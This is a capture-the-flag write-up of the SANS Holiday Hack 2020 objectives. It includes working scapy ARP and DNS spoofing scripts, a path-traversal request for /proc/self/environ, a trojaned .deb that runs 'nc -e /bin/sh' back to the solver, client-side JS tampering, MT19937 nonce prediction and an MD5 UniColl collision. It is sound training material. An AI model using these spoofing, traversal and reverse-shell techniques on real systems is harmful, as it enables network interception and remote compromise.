SANS Holiday Hack 2020 Write-Up
Objective 6
Answers:
1: 13
2: t1059.003-main t1059.003-win
- Used query provided by Alice Bluebird
3: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
grep
ped through offline copy of github repo
4: 2020-11-30T17:44:15Z
- Splunk query used:
index=attack OSTAP
- Only 5 results from that query. Found the earliest and used that timestamp.
5: 3648
- Splunk query used:
index=t1123* *audio*
- Researched the Github author and found relevant Windows Audio Drive repo. That led me to the
audio
keyword search.
6: quser
- Splunk query used:
index=* *bat*
- Noticed that the startup batch files were being copied from a local clone of the
atomic-red-team
repo
- Noticed that the startup batch files were being copied from a local clone of the
- Used some bash to find all batch files in the github repo:
for i in $(find . -name *.bat -type f); do tail -n 1 $i; done
- Not much output, so I tried them all and
quser
worked.
7: 55FCEEBB21270D9249E86F4B9DC7AA60
- Splunk query used:
index=* sourcetype=bro* sourcetype!=bro:files:json serial
- First result
Final Answer: The Lollipop Guild
After solving the Splunk challenges, some encrypted information was given in b64 form: 7FXjP1lyfKbyDK/MChyf36h7
.
The key was given in the Splunk talk this year: Stay Frosty
.
An RFC was hinted at that prevented the usage of the RC4 cipher. Thus, nudging that this encrypted bit was encrypted by RC4.
Now that we know the algorithm, key, and have the data, we can write some Python that can decrypt RC4 relatively easily:
import base64
data = base64.b64decode("7FXjP1lyfKbyDK/MChyf36h7")
key = "Stay Frosty"
S = range(256)
j = 0
out = []
#KSA Phase
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]
#PRGA Phase
i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
print ''.join(out)
That code prints The Lollipop Guild
- the final answer.
Objective 7
This challenge involved filtering down all malicious CAN-D traffic, and only allowing the valid traffic.
My methodology for this challenge was to basically filter every message that was repeating, until nothing was happening over time. Those repeating CAN IDs were:
244#00000000000
080#00000000000
188#00000000000
019#00000000000
19B#000000F2057
After that was determined, I interacted with every function and noted what CAN IDs are returned when I do so. I made the following correlations:
02A#0000FF - stop engine
02A#00FF00 - start engine
19B#000000000000 - lock door
19B#00000F000000 - unlock door
080#00000x - during brake - the X corresponds to the 'amount' you are braking.
080#FFFFFD - during brake
080#FFFFF8 - during brake
080#FFFFF3 - during brake
080#FFFFFA - during brake
080#FFFFF0 - during brake
080#FFFFFD - during brake
The hints told us to investigate the brake and unlock door functions.
It looks like the 19B
IDs are the messages involving doors. The only repeating ID starting with 19B
was 19B#000000F2057
, so it is safe to say that this message may be malicious.
With regards to the brakes - the 080#00000x
message was the only message that actually corresponded to user input, so it seems valid. The rest of the brake messages may be able to be filtered down. We can use a wildcard to include anything containing FF
that begins with 080
.
Our final filters can look like:
19B#000000F2057
080#*FF*
And those filters successfully solved the challenge!
Objective 8
ANSWER: JackFrostWasHere
This challenge involved a web application that, most notably, allowed file uploads + viewing of that file.
Enumeration with dirb
and Burp Suite
revealed the /image
and /upload
API endpoints.
After an image was uploaded, it was assigned with a random ID (which could be determined by recording history with Burp) and made viewable from the image/
endpoint. I.e., https://tag-generator.kringlecastle.com/image?id=382a8af4-cf8e-4b4a-8a24-06a1ce82db43.png
As with all image upload web applications, a simple Local File Inclusion (LFI) test is in order. Knowing that the system environment variables are what we are after, I can craft a LFI payload that inspects the file /proc/self/environ
, which contains all system env variables in a simple file.
I sent this payload the Burp Repeater:
GET /image?id=../../../../../../../proc/self/environ HTTP/1.1
And was returned the contents of the file! It displayed the GREETZ
env variable, which had the value JackFrostWasHere
.
Objective 9
ANSWER: Tanta Kringle
This challenge began by sniffing traffic and discovering repeated ARP requests. I sniffed traffic using tcpdump
:
$ tcpdump -nni eth0
An ARP response script using scapy
was provided, but it was missing pertient data. This data had to be determined by simple packet analysis of the ARP request, and seeing what machine was sending the request, and what MAC it wanted to resolve. My full working code is as follows:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
print(ipaddr)
print(macaddr)
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)
arp_response = ARP(pdst="10.6.6.35")
arp_response.op = "is-at"
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = "IPv4"
arp_response.hwtype = 0x1
arp_response.hwsrc = macaddr
arp_response.psrc = "10.6.6.53"
arp_response.hwdst = "4c:24:57:ab:ed:84"
arp_response.pdst = "10.6.6.35"
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
After you ran this script, you would see a DNS lookup query from the same requesting machine. Similarly to the ARP request, a script was provided but missing data. My final script is as follows:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
ip = IP(dst=packet[IP].src, src=packet[IP].dst)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(id=packet[DNS].id,qd=packet[DNS].qd,aa=1,qr=1,an=DNSRR(rrname=packet[DNSQR].qname, ttl=10, rdata=ipaddr))
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
main()
After responding to both the ARP and DNS requests, you see a bunch of TCP traffic come in. Most of it is TLS negotiation, and some encrypted traffic after that negotiation. However, there is a single HTTP packet to port 80.
We can start a simplehttpserver
using python in our ./debs
directory to serve out some content. From the logs, we can see that the client is requesting a specific .deb
in a specific path:
10.6.6.35 - - [17/Dec/2020 21:01:09] code 404, message File not found
10.6.6.35 - - [17/Dec/2020 21:01:09] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
We can simply make the directory structure using mkdir
and rename one of our .deb
files to suriv_amd64.deb
and it seems like the target machine will install it.
I used the netcat .deb
file, but added a custom bind command into it:
nc -e /bin/sh <my_ip> 4444
Now, whenever that .deb
is installed, that command will be executed also. I just need to start a netcat
listener on my end:
nc -nllvp 4444
And a shell is obtained! From there, it is a simple inspection of the document sitting on /
that states the answer:
Tanta Kringle
Objective 10
In order to obtain access to Santa’s office, I modified the app.js
to send the success/transport to floor 3 message via AJAX whenever the reset
button was clicked.
The modified code snippet is as follows:
const resetBtn = document.querySelector('.reset-btn');
resetBtn.addEventListener('click', () => {
if (window.confirm('Are you sure you want to reset your configuration?')) {
$.ajax({
type: 'POST',
url: POST_URL,
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({
targetFloor: '3',
id: getParams.id,
}),
success: (res, status) => {
if (res.hash) {
__POST_RESULTS__({
resourceId: getParams.id || '1111',
hash: res.hash,
action: 'goToFloor-3',
});
}
}
}); }
});
Objective 11a
ANSWER: 57066318f32f729d
This challenge involves predicting a nonce (random number) that is generated using Mersenne Twister (MT19937 specifically) - a cryptographically insecure method.
From the snowball game, we were able to use a similar method to solve the Impossible
challenge. Basically, reading input from many outputs of the PRNG, analyzing it, and predicting upcoming integers using Python.
First, I needed to obtain an output of all the nonces within the blockchain to use as input data for an MT19937 predictor library.
To do this, I modified the provided naughty_nice.py
script to include the following code that loops through the entire c2.blocks
list and prints out the nonce
attribute.
length = len(c2.blocks)
for i in range(length):
print(c2.blocks[i].nonce)
I redirected this to a single file and had my nonce input.
./naughty_nice.py >> nonces
Now that I have my input, I can use the mt19937predictor
library (from the snowball game) to predict the next integer. The only issue is, my standard use of the library before was only involving 32-bit integers. These nonces are 64-bit.
To resolve this issue, I had to do some deep-diving into the mt19937predictor
library and found a method to force usage of 64-bit randomness instead of 32-bit. Below was my final python code:
#!/usr/bin/env python3
from mt19937predictor import *
import contextlib
predictor = MT19937Predictor()
f = open("nonces", "r")
nonces = [line for line in f.readlines()]
for n in nonces:
predictor.setrandbits(int(n), 64)
with contextlib.suppress(BrokenPipeError):
while True:
print(hex(predictor.getrandbits(64)))
With this script I was able to predict the next 4 nonces using:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11a/work/mersenne-twister-predictor$ ./convert.py | head -n 4
0xb744baba65ed6fce
0x1866abd00f13aed
0x844f6b07bd9403e4
0x57066318f32f729d
The last output is the answer:
0x57066318f32f729d
Objective 11b
ANSWER: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
The data that this blockchain actually stores is various file types, mainly PDF. My first goal is to find the block that Jack modified - and this block will probably contain a document that looks modified in Jack’s favor (niceness).
I started by modifying the naughty_nice.py
script to loop through each block, loop through the doc_count
, and dump each document.
for i in range(len(c2.blocks)):
for x in range(c2.blocks[i].doc_count):
c2.blocks[i].dump_doc(x)
This adapted code dumped all documents into my current directory. From here, I can grep through each of the PDFs to see if any of them contain information about Jack Frost:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work/temp$ find . -iname '*.pdf' -exec pdfgrep Jack {} +
./129459.pdf:“Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known in my life.”
./129459.pdf:“Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known in my life.”
./129459.pdf:With acclaim like this, coming from folks who really know goodness when they see it, Jack Frost
./129278.pdf:We were pleasantly surprised to see Jacklynn reading their child a bed-time story.
./128811.pdf:Jackalynn was observed using the hashtag, "#gymlife".
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work/temp$
It looks like the 129459.pdf
document praises Jack Frost’s niceness a little too much. We can investigate block 129459 a bit more now with some Python:
for i in range(len(c2.blocks)):
if (c2.blocks[i].index == 129459):
print(c2.blocks[i])
Chain Index: 129459
Nonce: a9447e5771c704f4
PID: 0000000000012fd1
RID: 000000000000020f
Document Count: 2
Score: ffffffff (4294967295)
Sign: 1 (Nice)
The noteworthy thing here is that the score value is incredibly high, and must be what is giving Jack his increased niceness.
Since this block looks important (and potentially changed), we can export it to block.dat
using the below Python:
for i in range(len(c2.blocks)):
if (c2.blocks[i].index == 129459):
c2.save_a_block(i)
Now, we can confirm that our block sha256 hash matches what was provided in our challenge:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ sha256sum block.dat
58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f block.dat
Taking a look at the hexdump of the PDF, we can see that Jack Frost left a message for Santa here: _Go_Away/Santa
00000000 25 50 44 46 2d 31 2e 33 0a 25 25 c1 ce c7 c5 21 |%PDF-1.3.%%....!|
00000010 0a 0a 31 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 |..1 0 obj.<</Typ|
00000020 65 2f 43 61 74 61 6c 6f 67 2f 5f 47 6f 5f 41 77 |e/Catalog/_Go_Aw|
00000030 61 79 2f 53 61 6e 74 61 2f 50 61 67 65 73 20 32 |ay/Santa/Pages 2|
00000040 20 30 20 52 20 20 20 20 20 20 30 f9 d9 bf 57 8e | 0 R 0...W.|
This slide tells us the usage of a common PDF collision attack. We can use a hex editor to switch that 32
byte to 33
(for value of 3 decimal):
00000030 61 79 2f 53 61 6e 74 61 2f 50 61 67 65 73 20 33 |ay/Santa/Pages 3|
If we open our PDF now, it has the original intended content, stating that Jack is naughty and is not deserving of any nice points. However, our MD5 has changed since we altered the PDF. Now, how did Jack pull his change off while maintaining the same MD5 hash?
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum 129459.pdf 129459_modified.pdf
448ac151b73a6b6da84cccec3345089a 129459.pdf
f20943e1be935894cca63e19c1f75b40 129459_modified.pdf
A hint tells us that Jack may have used a Unicoll
attack. Essentially, he modified an additional byte that is in a specific offset from the originally modified byte. Specifically, that Unicoll
byte is the 10th byte of the next MD5 block. This Unicoll
byte must be increased or decreased by 1, the opposite of whatever you did to the original byte. I.e., if you changed a byte 32
-> 31
, then the Unicoll byte must be increased by 1: 5A
-> 5B
.
If each MD5 block is 64 bytes, then in a standard hex editor, each block is 4 rows.
Since our changed byte is in the last row of the first MD5 block, then we just need to drop one line in our hex editor. Then, in that line, find the 10th byte and decrease it by 1, since we increased our original byte by 1.
00000040 20 30 20 52 20 20 20 20 20 20 30 f9 d9 bf 57 8e | 0 R 0...W.|
to:
00000040 20 30 20 52 20 20 20 20 20 19 30 f9 d9 bf 57 8e | 0 R .0...W.|
(note the 10th byte decrement)
Now that we know the general technique, we can apply this to the original block.dat
(since that is what we need to modify for the objective). We can change the same bytes (albeit at different offsets) because the block.dat
contains the PDF (and all its bytes) within it.
After our x2 byte changes, our MD5 hashes should match the original, despite the fact that we have modified the contents of the internally stored PDF:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum block.dat block.bak.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84 block.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84 block.bak.dat
We have performed a Unicoll
attack! Now, from the hints, we can gather that there are an additional x2 bytes we need to change. And looking at the Jack-modified block, the other major thing changed (besides the PDF) was the Naughty/Nice byte (referred to as sign
in the Python class).
So, our path forward is likely to change that Naughty/Nice byte and the corresponding Unicoll
byte.
If we inspect the block, we can see that Nice==1
and from the source code, we can gather that Naughty==0
.
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ ./naughty_nice.py | grep -i Sign
Sign: 1 (Nice)
Looks like we need to change a decimal value of 1
to 0
. Problem is, there are a lot of 1/0 values in the entire block.
We can narrow it down a bit by ruling out any part of the PDF bytes (since we are done there). That leaves the header and footer.
In the header, we see some familiar bytes - the bytes of the 129459.bin
:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ hexdump -C 129459.bin
00000000 ea 46 53 40 30 3a 60 79 d3 df 27 62 be 68 46 7c |.FS@0:`y..'b.hF||
00000010 27 f0 46 d3 a7 ff 4e 92 df e1 de f7 40 7f 2a 7b |'.F...N.....@.*{|
00000020 73 e1 b7 59 b8 b9 19 45 1e 37 51 8d 22 d9 87 29 |s..Y...E.7Q."..)|
00000030 6f cb 0f 18 8d d6 03 88 bf 20 35 0f 2a 91 c2 9d |o........ 5.*...|
00000040 03 48 61 4d c0 bc ee f2 bc ad d4 cc 3f 25 1b a8 |.HaM........?%..|
00000050 f9 fb af 17 1a 06 df 1e 1f d8 64 93 96 ab 86 f9 |..........d.....|
00000060 d5 11 8c c8 d8 20 4b 4f fe 8d 8f 09 |..... KO....|
0000006c
00000040 32 66 66 66 66 66 66 66 66 31 66 66 30 30 30 30 |2ffffffff1ff0000|
00000050 30 30 36 63 ea 46 53 40 30 3a 60 79 d3 df 27 62 |006c.FS@0:`y..'b|
00000060 be 68 46 7c 27 f0 46 d3 a7 ff 4e 92 df e1 de f7 |.hF|'.F...N.....|
00000070 40 7f 2a 7b 73 e1 b7 59 b8 b9 19 45 1e 37 51 8d |@.*{s..Y...E.7Q.|
00000080 22 d9 87 29 6f cb 0f 18 8d d6 03 88 bf 20 35 0f |"..)o........ 5.|
00000090 2a 91 c2 9d 03 48 61 4d c0 bc ee f2 bc ad d4 cc |*....HaM........|
000000a0 3f 25 1b a8 f9 fb af 17 1a 06 df 1e 1f d8 64 93 |?%............d.|
000000b0 96 ab 86 f9 d5 11 8c c8 d8 20 4b 4f fe 8d 8f 09 |......... KO....|
000000c0 30 35 30 30 30 30 39 66 35 37 25 50 44 46 2d 31 |0500009f57%PDF-1|
000000d0 2e 33 0a 25 25 c1 ce c7 c5 21 0a 0a 31 20 30 20 |.3.%%....!..1 0 |
Jack may have used this to line up byte sizes/offsets for his attack. Since we can safely ignore this, we can look at the rest of the header:
00000000 30 30 30 30 30 30 30 30 30 30 30 31 66 39 62 33 |000000000001f9b3|
00000010 61 39 34 34 37 65 35 37 37 31 63 37 30 34 66 34 |a9447e5771c704f4|
00000020 30 30 30 30 30 30 30 30 30 30 30 31 32 66 64 31 |0000000000012fd1|
00000030 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 66 |000000000000020f|
00000040 32 66 66 66 66 66 66 66 66 31 66 66 30 30 30 30 |2ffffffff1ff0000|
00000050 30 30 36 63 ea 46 53 40 30 3a 60 79 d3 df 27 62 |006c.
One byte sticks out there - the 31
surrounded by what appears to be ff
padding. If we flip that byte to 30
(for a value of 0 decimal), and change the appropriate Unicoll byte using the same technique previously:
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ md5sum block.dat block.bak.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84 block.dat
b10b4a6bd373b61f32f4fd3a0cdfbf84 block.bak.dat
mehlj@mehlj-box:~/sansholidayhack2020/challenge11b/work$ sha256sum block.dat block.bak.dat
1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e block.dat
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb block.bak.dat
We can see that our MD5 hashes still match up, despite the changes! This must be how Jack performed his attack. This also shows that our SHA256 hashes our different, because SHA256 is cryptographically secure.
And the SHA256 hash of our modified block is our answer:
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb